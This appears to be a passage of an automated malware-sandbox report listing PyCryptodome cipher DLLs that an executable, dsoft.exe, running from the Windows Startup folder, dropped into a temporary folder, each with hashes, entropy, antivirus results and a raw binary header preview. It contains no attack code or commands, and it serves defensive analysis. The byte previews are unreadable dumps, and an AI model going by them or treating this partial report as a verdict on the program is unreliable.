                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..L............p..,....3...............................1..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_chacha20.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13312
                                                                                                                                                                                                                                        Entropy (8bit):5.0513840905718395
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:7XF/1nb2eqCQtkXnFYIrWjz0YgWDbu5Do0vdvZt49lkVcqgYvEMN:L2P6XTr0zXgWDbui0vdvZt49MgYvEMN
                                                                                                                                                                                                                                        MD5:CDF7D583B5C0150455BD3DAD43A6BF9B
                                                                                                                                                                                                                                        SHA1:9EE9B033892BEB0E9641A67F456975A78122E4FA
                                                                                                                                                                                                                                        SHA-256:4CA725A1CB10672EE5666ED2B18E926CAAE1A8D8722C14AB3BE2D84BABF646F6
                                                                                                                                                                                                                                        SHA-512:96123559D21A61B144E2989F96F16786C4E94E5FA4DDA0C018EAA7FEFFA61DD6F0ADFA9815DF9D224CDEBE2E7849376D2A79D5A0F51A7F3327A2FAA0A444CE9C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_pkcs1_decode.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12800
                                                                                                                                                                                                                                        Entropy (8bit):5.1050594710160535
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:/PTF1siKeai1dqmJo0qVVLf/+NJSC6sc9kJ9oPobXXXP4IIYOxDmO8jcX6gRth2h:/LsiHfq5poUkJ97zIDmOucqgRvE
                                                                                                                                                                                                                                        MD5:7918BFE07DCB7AD21822DBAAA777566D
                                                                                                                                                                                                                                        SHA1:964F5B172759538C4E9E9131CE4BB39885D79842
                                                                                                                                                                                                                                        SHA-256:C00840D02ADA7031D294B1AB94A5F630C813AAE6897F18DD66C731F56931868E
                                                                                                                                                                                                                                        SHA-512:D4A05AB632D4F0EB0ED505D803F6A5C0DBE5117D12BA001CE820674903209F7249B690618555F9C061DB58BED1E03BE58AD5D5FE3BC35FC96DF27635639ABF25
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............l...l...l......l.q.m...l..m...l...m...l.q.i...l.q.h...l.q.o...l...d...l...l...l.......l...n...l.Rich..l.................PE..d....y.e.........." ...#............P.....................................................`.........................................P8..p....8..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aes.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):36352
                                                                                                                                                                                                                                        Entropy (8bit):6.55587798283519
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:Of+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuTLg4HPy:WqWB7YJlmLJ3oD/S4j990th9VTsC
                                                                                                                                                                                                                                        MD5:4B032DA3C65EA0CFBDEB8610C4298C51
                                                                                                                                                                                                                                        SHA1:541F9F8D428F4518F96D44BB1037BC348EAE54CF
                                                                                                                                                                                                                                        SHA-256:4AEF77E1359439748E6D3DB1ADB531CF86F4E1A8E437CCD06E8414E83CA28900
                                                                                                                                                                                                                                        SHA-512:2667BF25FD3BF81374750B43AFC5AEFF839EC1FF6DFC3FDD662F1D34A5924F69FC513EA3CD310991F85902A19ADA8B58DED9A9ED7B5D631563F62EA7F2624102
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#.H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15872
                                                                                                                                                                                                                                        Entropy (8bit):5.2919328525651945
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:oJBjJPqZkEPYinXKccxrEWx4xLquhS3WQ67EIfD4A1ccqgwYUMvEW:6URwin7mrEYCLEGd7/fDnwgwYUMvE
                                                                                                                                                                                                                                        MD5:57E4DF965E41B1F385B02F00EA08AE20
                                                                                                                                                                                                                                        SHA1:583B08C3FC312C8943FECDDD67D6D0A5FC2FF98B
                                                                                                                                                                                                                                        SHA-256:3F64DFFEC486DCF9A2E80CB9D96251B98F08795D5922D43FB69F0A5AC2340FC2
                                                                                                                                                                                                                                        SHA-512:48C3F78AF4E35BFEF3B0023A8039CF83E6B2E496845A11B7A2C2FA8BB62C7CCDE52158D4D37755584716220C34BBF379ECE7F8E3439B009AD099B1890B42A3D9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........|X...................i.......................i.......i.......i.......................................Rich....................PE..d....y.e.........." ...#. ... ......P.....................................................`..........................................9......D:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............ .................. ..`.rdata.......0.......$..............@..@.data...(....@.......4..............@....pdata.......P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_arc2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):16384
                                                                                                                                                                                                                                        Entropy (8bit):5.565187477275172
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:MeDd9Vk3yQ5f8vjVKChhXoJDkq6NS7oE2DDHlWw2XpmdcqgwNeecBU8:1k/5cj4shXED+o2Du8zgwNeO8
                                                                                                                                                                                                                                        MD5:F9C93FA6CA17FDF4FF2F13176684FD6C
                                                                                                                                                                                                                                        SHA1:6B6422B4CAF157147F7C0DD4B4BAB2374BE31502
                                                                                                                                                                                                                                        SHA-256:E9AEBB6F17BA05603E0763DFF1A91CE9D175C61C1C2E80F0881A0DEE8CFFBE3A
                                                                                                                                                                                                                                        SHA-512:09843E40E0D861A2DEE97320779C603550433BC9AB9402052EA284C6C74909E17CE0F6D3FDBA983F5EB6E120E2FE0C2B087420E138760BB0716D2999C10935C1
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#."... ......P.....................................................`.........................................0J.......J..d....p.......`..................,....C...............................B..@............@...............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data...8....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..,............>..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_blowfish.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):20992
                                                                                                                                                                                                                                        Entropy (8bit):6.058843128972375
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:fHU/5cJMOZA0nmwBD+XpJgLa0Mp8Qhg4P2llyM:QK1XBD+DgLa1qTi
                                                                                                                                                                                                                                        MD5:E4969D864420FEB94F54CEF173D0AD4D
                                                                                                                                                                                                                                        SHA1:7F8FE4225BB6FD37F84EBCE8E64DF7192BA50FB6
                                                                                                                                                                                                                                        SHA-256:94D7D7B43E58170CAEA4520D7F741D743BC82B59BE50AA37D3D2FB7B8F1BB061
                                                                                                                                                                                                                                        SHA-512:F02F02A7DE647DDA723A344DBB043B75DA54D0783AE13E5D25EEC83072EA3B2375F672B710D6348D9FC829E30F8313FA44D5C28B4D65FDA8BB863700CAE994B7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text....".......$.................. ..`.rdata..L....@... ...(..............@..@.data...8....`.......H..............@....pdata.......p.......J..............@..@.rsrc................N..............@..@.reloc..4............P..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cast.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):25088
                                                                                                                                                                                                                                        Entropy (8bit):6.458942954966616
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:xVcaHLHm+kJ7ZXmrfXA+UA10ol31tuXyZQ7gLWi:8aHrm+kJNXmrXA+NNxWi28LWi
                                                                                                                                                                                                                                        MD5:CD4B96612DEFDAAC5CF923A3960F15B6
                                                                                                                                                                                                                                        SHA1:3F987086C05A4246D8CCA9A65E42523440C7FFEC
                                                                                                                                                                                                                                        SHA-256:5C25283C95FFF9B0E81FCC76614626EB8048EA3B3FD1CD89FE7E2689130E0447
                                                                                                                                                                                                                                        SHA-512:C650860A3ECC852A25839FF1E379526157EB79D4F158B361C90077875B757F5E7A4AA33FFE5F4F49B28DF5D60E3471370889FBE3BF4D9568474ECE511FF5E67D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.$...@............................................................`.........................................@i.......i..d...............................4....b...............................a..@............@...............................text....".......$.................. ..`.rdata.......@...0...(..............@..@.data...8....p.......X..............@....pdata...............Z..............@..@.rsrc................^..............@..@.reloc..4............`..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cbc.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.833693880012467
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:BF/1nb2eqCQtkrAUj8OxKbDbzecqgYvEkrK:t2P6EE8OsbD2gYvEmK
                                                                                                                                                                                                                                        MD5:0C46D7B7CD00B3D474417DE5D6229C41
                                                                                                                                                                                                                                        SHA1:825BDB1EA8BBFE7DE69487B76ABB36196B5FDAC0
                                                                                                                                                                                                                                        SHA-256:9D0A5C9813AD6BA129CAFEF815741636336EB9426AC4204DE7BC0471F7B006E1
                                                                                                                                                                                                                                        SHA-512:D81B17B100A052899D1FD4F8CEA1B1919F907DAA52F1BAD8DC8E3F5AFC230A5BCA465BBAC2E45960E7F8072E51FDD86C00416D06CF2A1F07DB5AD8A4E3930864
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cfb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):4.900216636767426
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:YTI1RgPfqLlvIOP3bdS2hkPUDk9oCM/vPXcqgzQkvEmO:YTvYgAdDkUDDCWpgzQkvE
                                                                                                                                                                                                                                        MD5:3142C93A6D9393F071AB489478E16B86
                                                                                                                                                                                                                                        SHA1:4FE99C817ED3BCC7708A6631F100862EBDA2B33D
                                                                                                                                                                                                                                        SHA-256:5EA310E0F85316C8981ED6293086A952FA91A6D12CA3F8AF9581521EE2B15586
                                                                                                                                                                                                                                        SHA-512:DCAFEC54BD9F9F42042E6FA4AC5ED53FEB6CF8D56ADA6A1787CAFC3736AA72F14912BBD1B27D0AF87E79A6D406B0326602ECD1AD394ACDC6275AED4C41CDB9EF
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................?.....q......................q.......q.......q.........................S.............Rich............PE..d....y.e.........." ...#..... ......P.....................................................`..........................................9.......9..d....`.......P..d............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ctr.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.302400096950382
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:SJ1gSPqgKkwv0i8NSixSK57NEEE/qexcEtDr+DjRcqgUF6+6vEX:6E1si8NSixS0CqebtD+rgUUjvE
                                                                                                                                                                                                                                        MD5:A34F499EE5F1B69FC4FED692A5AFD3D6
                                                                                                                                                                                                                                        SHA1:6A37A35D4F5F772DAB18E1C2A51BE756DF16319A
                                                                                                                                                                                                                                        SHA-256:4F74BCF6CC81BAC37EA24CB1EF0B17F26B23EDB77F605531857EAA7B07D6C8B2
                                                                                                                                                                                                                                        SHA-512:301F7C31DEE8FF65BB11196F255122E47F3F1B6B592C86B6EC51AB7D9AC8926FECFBE274679AD4F383199378E47482B2DB707E09D73692BEE5E4EC79C244E3A8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B...,...,...,......,.q.-...,..-...,...-...,.q.)...,.q.(...,.q./...,...$...,...,...,.......,.......,.Rich..,.................PE..d....y.e.........." ...#..... ......P.....................................................`..........................................9......x:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):57856
                                                                                                                                                                                                                                        Entropy (8bit):4.25844209931351
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:1UqVT1dZ/lHkJnYcZiGKdZHDLtiduprZAZB0JAIg+v:nHlHfJid3X
                                                                                                                                                                                                                                        MD5:007BE822C3657687A84A7596531D79B7
                                                                                                                                                                                                                                        SHA1:B24F74FDC6FA04EB7C4D1CD7C757C8F1C08D4674
                                                                                                                                                                                                                                        SHA-256:6CF2B3969E44C88B34FB145166ACCCDE02B53B46949A9D5C37D83CA9C921B8C8
                                                                                                                                                                                                                                        SHA-512:F9A8B070302BDFE39D0CD8D3E779BB16C9278AE207F5FADF5B27E1A69C088EEF272BFBCE6B977BA37F68183C8BBEAC7A31668662178EFE4DF8940E19FBCD9909
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..n...n...n......n.q.o...n...o...n...o...n.q.k...n.q.j...n.q.m...n...f...n...n...n.......n...l...n.Rich..n.........PE..d....y.e.........." ...#.8...................................................0............`.....................................................d...............l............ ..4...................................@...@............P...............................text....7.......8.................. ..`.rdata..f....P.......<..............@..@.data...8...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des3.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):58368
                                                                                                                                                                                                                                        Entropy (8bit):4.274890605099198
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:4Uqho9weF5/dHkRnYcZiGKdZHDL7idErZBZYmGg:ECndH//iduz
                                                                                                                                                                                                                                        MD5:A883798D95F76DA8513DA6B87D470A2A
                                                                                                                                                                                                                                        SHA1:0507D920C1935CE71461CA1982CDB8077DDB3413
                                                                                                                                                                                                                                        SHA-256:AED194DD10B1B68493481E7E89F0B088EF216AB5DB81959A94D14BB134643BFB
                                                                                                                                                                                                                                        SHA-512:5C65221542B3849CDFBC719A54678BB414E71DE4320196D608E363EFF69F2448520E620B5AA8398592D5B58D7F7EC1CC4C72652AD621308C398D45F294D05C9B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..n...n...n......n.q.o...n...o...n...o...n.q.k...n.q.j...n.q.m...n...f...n...n...n.......n...l...n.Rich..n.........PE..d....y.e.........." ...#.:...................................................0............`.................................................P...d............................ ..4...................................@...@............P...............................text...x9.......:.................. ..`.rdata.......P.......>..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4.... ......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ecb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10752
                                                                                                                                                                                                                                        Entropy (8bit):4.5811635662773185
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:PzWVddiTHThQTctEEI4qXDc1CkcqgbW6:PzWMdsc+EuXDc0YgbW
                                                                                                                                                                                                                                        MD5:DEDAE3EFDA452BAB95F69CAE7AEBB409
                                                                                                                                                                                                                                        SHA1:520F3D02693D7013EA60D51A605212EFED9CA46B
                                                                                                                                                                                                                                        SHA-256:6248FDF98F949D87D52232DDF61FADA5EF02CD3E404BB222D7541A84A3B07B8A
                                                                                                                                                                                                                                        SHA-512:8C1CAB8F34DE2623A42F0750F182B6B9A7E2AFFA2667912B3660AF620C7D9AD3BD5B46867B3C2D50C0CAE2A1BC03D03E20E4020B7BA0F313B6A599726F022C6C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&4%.bUK.bUK.bUK.k-..`UK..)J.`UK.)-J.aUK.bUJ.AUK..)N.iUK..)O.jUK..)H.aUK.(C.cUK.(K.cUK.(..cUK.(I.cUK.RichbUK.........PE..d....y.e.........." ...#............P........................................p............`.........................................p'......((..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_eksblowfish.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):22016
                                                                                                                                                                                                                                        Entropy (8bit):6.1405490084747445
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:WMU/5cRUtPMbNv37t6KjjNrDF6pJgLa0Mp8Qg0gYP2lcCM:WdKR8EbxwKflDFQgLa1AzP
                                                                                                                                                                                                                                        MD5:914EA1707EBA03E4BE45D3662BF2466E
                                                                                                                                                                                                                                        SHA1:3E110C9DBFE1D17E1B4BE69052E65C93DDC0BF26
                                                                                                                                                                                                                                        SHA-256:4D4F22633D5DB0AF58EE260B5233D48B54A6F531FFD58EE98A5305E37A00D376
                                                                                                                                                                                                                                        SHA-512:F6E6323655B351E5B7157231E04C352A488B0B49D7174855FC8594F119C87A26D31C602B3307C587A28AD408C2909A93B8BA8CB41166D0113BD5C6710C4162C3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#.(...0......P.....................................................`.........................................pY.......Z..d............p..................4...@S...............................R..@............@...............................text...X'.......(.................. ..`.rdata..T....@... ...,..............@..@.data...8....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..4............T..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ocb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17920
                                                                                                                                                                                                                                        Entropy (8bit):5.350740516564008
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:GPHdP3Mj7Be/yB/MsB3yRcb+IqcOYoQViCBD88g6Vf4A:APcnB8KEsB3ocb+pcOYLMCBDu
                                                                                                                                                                                                                                        MD5:52E481A15C3CE1B0DF8BA3B1B77DF9D0
                                                                                                                                                                                                                                        SHA1:C1F06E1E956DFDE0F89C2E237ADFE42075AAE954
                                                                                                                                                                                                                                        SHA-256:C85A6783557D96BFA6E49FE2F6EA4D2450CF110DA314C6B8DCEDD7590046879B
                                                                                                                                                                                                                                        SHA-512:108FB1344347F0BC27B4D02D3F4E75A76E44DE26EF54323CB2737604DF8860A94FA37121623A627937F452B3B923C3D9671B13102D2E5F1005E4766E80A05A96
